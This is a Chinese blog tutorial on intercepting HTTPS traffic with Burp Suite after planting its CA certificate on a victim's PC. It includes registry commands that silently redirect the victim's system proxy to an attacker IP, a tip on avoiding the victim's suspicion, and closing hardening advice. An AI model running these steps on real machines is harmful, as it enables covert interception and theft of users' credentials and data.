敏感数据的安全传输是网络安全技术的一个重要的组成部分,多数认为只有https是最好的实践,姑且不考虑ssl证书的价格,至少https也不是绝对安全的,当遭受中间人劫持***的时候也会获取到传输中的明文数据,具体***原理见《HTTPS连接过程以及中间人***劫持》,但是这篇文章也说了,使用中间人***手段必须让客户端信任中间人的证书,否则***无效。因此这种***方式难度大且不方便***,但是并不是说不能实现。个人认为至少有以下两种方式可以进行利用:
一、获取服务器的远程桌面登录权限后,设置客户端信任中间人的证书!
二、使用物理***,获取到被***者的电脑后,设置客户端信任中间人的证书
1.1.1 设置客户端信任中间人证书
这里的中间人我们借助burpsuite,然后实现本次的一个https劫持***。首先我们需要客户端(被***者的电脑)信任burpsuite的证书,即进行安装burpsuite的CA证书,具体配置见官方配置。
1.1.2 ***条件
通过思考我们发现,目前的利用也是存在有一定的限制的,姑且理解为技术不够。***条件主要有以下几方面:
一、服务器需要是windows主机。
二、***者需要有独立外网主机(或者同一局域网中)。
三、拥有服务器的远程桌面控制权,或者临时拥有被***者的电脑。
对于第三个条件简单说明下,拥有服务器的远程桌面控制权,不一定能获取到应用系统中存在的敏感数据或者数据库中的数据,例如,你在一个网站(只有一个登陆页面)处检测出了命令执行漏洞,可以执行命令,但是权限不是很高(即使权限很高,除非你只感兴趣服务器的控制权而不是应用系统中的敏感数据),此时我们就可以使用这种***方式了!
1.1.3 实验环境介绍
操作系统:Microsoft Windows Server 2008 R2 Enterprise,IP:192.168.1.25
用户权限组:*Users
使用工具:burpsuite
***者IP:192.168.1.200
1.1.4 配置***者burpsuite
由于我们是要获取被***者传过来的数据包,而被***者往往都是处于内网,外网访问多数是通过映射出来的,所以我们设置我们的burpsuite的代理为任意ip过来的数据包,如下图所示:
1.1.5 设置被***者IE代理
如果能进入到桌面环境,可以通过图形化界面进行设置IE代理,如下图所示:
如果不能进入到远程桌面,我们可以使用下面命令进行设置IE代理:
//开启代理!
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f
//设置代理ip及端口,为***者的ip,端口与burpsuite设置保持一致!
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /d "192.168.1.200:8080" /f
//关闭设置的代理可以使用下面的命令:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
以上命令经测试只要是users用户组即可成功执行,如下图所示,为了方便我们可以将开启和关闭的命令分别写为bat批处理文件。
1.1.6 获取劫持后的明文数据
为了不让被***者怀疑,我们不要开启截断功能,如下图所示:
现在***者只需要等待被***者使用浏览器访问相关网站,即使是https的站点我们同样能劫持到明文数据,如下图所示:
1.1.7 总结及修复建议
另外如果只是http的网站的话,上面的***难度及危害会大大增加,因为不需要设置客户端去信任中间人的证书这一环节,只需要设置客户端的代理即可,而这一个可以使用钓鱼的方式将开启代理功能的工具进行传播就可以,或者只需要一个简单命令执行shell,普通权限就可以!修复建议参考如下:
一、对服务器进行安全加固,防止利用服务器漏洞进行***!
二、设置浏览器不要使用默认的系统代理,即IE全局代理!
三、加强安全意识,离开电脑的时候记得设置密码锁屏,借电脑给别人用的时候尽量在旁边,使用完成后检查是否有异常!
来源:51CTO
作者:eth10
链接:https://blog.51cto.com/eth10/2109483